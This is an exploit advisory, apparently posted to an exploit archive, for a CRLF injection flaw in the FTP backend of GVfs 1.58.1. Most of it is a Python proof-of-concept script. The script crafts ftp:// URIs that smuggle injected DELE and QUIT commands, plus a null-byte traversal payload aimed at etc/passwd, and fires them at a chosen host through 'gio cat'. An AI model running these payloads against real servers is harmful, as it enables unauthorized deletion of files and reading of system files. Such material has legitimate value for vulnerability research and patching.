📄 GVfs 1.58.1 FTP Backend CRLF Injection

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    | # Title     : GVfs 1.58.1 FTP Backend CRLF Injection Vulnerability                                                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://download.gnome.org/sources/gvfs/1.58/gvfs-1.58.1.tar.xz                                                             |
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    [+] Summary    :  A vulnerability was identified in the FTP backend of GVfs CVE-2026-28296 due to improper input validation. 
                      A remote attacker can exploit this flaw by supplying specially crafted file paths containing Carriage Return and Line Feed (CRLF) sequences.
                      Because these CRLF sequences are not properly sanitized, they allow an attacker to prematurely terminate legitimate FTP commands 
    				  and inject arbitrary FTP commands into the session. This could result in unauthorized command execution on the FTP server, unintended file operations 
    				  (such as deletion or modification), or other severe security impacts depending on the server configuration.
    
    [+] Potential Impact:
    
    Remote execution of arbitrary FTP commands
    
    Unauthorized file access, deletion, or modification
    
    Possible remote code execution (depending on server configuration)
    
    Security control bypass within the GVfs FTP handling layer
    
    [+] POC   :  
    
    #!/usr/bin/env python3
    
    import subprocess
    import urllib.parse
    import sys
    import ipaddress
    import logging
    import argparse
    import json
    import shutil
    import os
    from dataclasses import dataclass, asdict
    from typing import Optional, Tuple, List, Dict, Any
    from concurrent.futures import ThreadPoolExecutor
    
    def setup_logging(verbose=False):
        log_format = '%(asctime)s - %(levelname)s - %(message)s'
        logging.basicConfig(level=logging.DEBUG if verbose else logging.INFO, format=log_format)
        forensic_handler = logging.FileHandler('gvfs_forensic_debug.log', mode='w', encoding='utf-8')
        forensic_handler.setLevel(logging.DEBUG)
        forensic_handler.setFormatter(logging.Formatter(log_format))
        logging.getLogger("").addHandler(forensic_handler)
    
    logger = logging.getLogger("GVfsAuditor")
    
    @dataclass
    class AuditResult:
        """Comprehensive data for deep analysis"""
        test_name: str
        payload_type: str
        uri: str
        returncode: Optional[int]
        stdout: str
        stderr: str
        status: str
        analysis: str
    
    class GVfsAdvancedEngine:
        """Advanced scanning engine supporting full data flow analysis"""
        def __init__(self, target: str, port: int, timeout: int):
            self._check_gio()
            self.target = target
            self.port = port
            self.timeout = timeout
    
        def _check_gio(self):
            if not shutil.which("gio"):
                raise RuntimeError("GIO tools not found. Please install glib2-tools.")
    
        def _execute_gio(self, uri: str) -> Dict[str, Any]:
            """Execute and log raw response for forensic analysis"""
            logger.debug(f"DEBUG_URI_EXEC: {uri}")
            try:
                proc = subprocess.run(
                    ['gio', 'cat', uri],
                    capture_output=True, text=True, timeout=self.timeout
                )
    
                logger.debug(f"RAW_STDOUT: {proc.stdout.strip()}")
                logger.debug(f"RAW_STDERR: {proc.stderr.strip()}")
                
                return {
                    "returncode": proc.returncode,
                    "stdout": proc.stdout,
                    "stderr": proc.stderr,
                    "exec_status": "COMPLETED"
                }
            except subprocess.TimeoutExpired:
                return {"exec_status": "TIMEOUT", "stderr": "Operation timed out."}
            except Exception as e:
                return {"exec_status": "SYSTEM_ERROR", "stderr": str(e)}
    
    class GVfsProtocolAuditor(GVfsAdvancedEngine):
        """Security analyzer for compound and complex payloads"""
    
        def build_complex_payload(self, case_type: str, data: str) -> str:
            """Build hybrid payloads (UTF-8, Multi-CRLF, Null-Byte)"""
            if case_type == "ADVANCED_CRLF":
    
                payload = f"test.txt\r\nNOOP\r\nDELE {data}\r\nQUIT"
            elif case_type == "TRAVERSAL_NULL":
    
                payload = f"../../../{data}\0.jpg"
            else:
                payload = data
    
            encoded = urllib.parse.quote(payload, safe="")
            return f"ftp://anonymous@{self.target}:{self.port}/{encoded}"
    
        def analyze_deep(self, res: Dict[str, Any]) -> Tuple[str, str]:
            """Analyze both stdout and stderr to detect hidden responses"""
            if res["exec_status"] != "COMPLETED":
                return res["exec_status"], res["stderr"]
    
            combined_output = (res["stdout"] + res["stderr"]).lower()
            
            ftp_success_codes = ["250 ", "200 ", "221 "] 
            ftp_fail_codes = ["550 ", "553 ", "501 "]    
            
            if res["returncode"] == 0:
                if any(code in combined_output for code in ftp_fail_codes):
                    return "PARTIAL_SUCCESS", "Payload reached server (confirmed by FTP code) but failed execution."
                if any(code in combined_output for code in ftp_success_codes):
                    return "VULNERABLE", "Confirmed: Injected commands executed on remote server."
                return "ACCEPTED", "GVfs accepted the URI sequence, server response unclear."
                
            if any(k in combined_output for k in ["invalid", "character", "not supported"]):
                return "REJECTED", "Local GVfs mitigation active."
    
            return f"FAILED_{res['returncode']}", "Execution failed with non-zero code."
    
        def run_suite(self, target_file: Optional[str], json_out: Optional[str], threads: int):
    
            cases = [
                ("Base_UTF8", "NORMAL", "audit_indoushka_test.txt"),
                ("Hybrid_CRLF", "ADVANCED_CRLF", target_file or "inouva.txt"),
                ("Null_Traversal", "TRAVERSAL_NULL", "etc/passwd"),
                ("Double_Encoded_CRLF", "NORMAL", "%0d%0aDELE%20test.txt"),
                ("Long_Buffer_UTF8", "NORMAL", "test_string" * 200 + "\r\nQUIT")
            ]
    
            print(f"\n{'Test Case':<25} | {'Status':<15} | {'Forensic Analysis'}")
            print("-" * 105)
    
            results = []
            with ThreadPoolExecutor(max_workers=min(threads, len(cases))) as executor:
                future_to_case = {
                    executor.submit(self._run_test, c): c for c in cases
                }
                for future in future_to_case:
                    try:
                        res = future.result()
                        results.append(res)
                    except Exception as e:
                        logger.error(f"Thread Error: {e}")
    
            if json_out:
                with open(json_out, 'w', encoding='utf-8') as f:
                    json.dump(results, f, indent=4, ensure_ascii=False)
                print(f"\n[+] Forensic Report: {json_out} | Raw Logs: gvfs_forensic_debug.log")
    
        def _run_test(self, case) -> Dict:
            name, ctype, data = case
            uri = self.build_complex_payload(ctype, data)
            raw = self._execute_gio(uri)
            status, analysis = self.analyze_deep(raw)
            
            print(f"{name:<25} | {status:<15} | {analysis[:50]}")
            
            return asdict(AuditResult(
                test_name=name, payload_type=ctype, uri=uri,
                returncode=raw.get("returncode"), stdout=raw.get("stdout", ""),
                stderr=raw.get("stderr", ""), status=status, analysis=analysis
            ))
    
    def main():
        parser = argparse.ArgumentParser(description="GVfs Forensic Auditor (Advanced Suite)")
        parser.add_argument("target", help="FTP Host")
        parser.add_argument("--file", help="Remote file to target in complex injections")
        parser.add_argument("--port", type=int, default=2121)
        parser.add_argument("--out", help="Forensic JSON output")
        parser.add_argument("--threads", type=int, default=4)
        parser.add_argument("-v", "--verbose", action="store_true", help="Log raw payloads to file/console")
    
        args = parser.parse_args()
        setup_logging(args.verbose)
    
        try:
            auditor = GVfsProtocolAuditor(args.target, args.port, timeout=12)
            auditor.run_suite(args.file, args.out, args.threads)
        except KeyboardInterrupt:
            sys.exit(0)
        except Exception as e:
            logger.error(f"Fatal Error: {e}")
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
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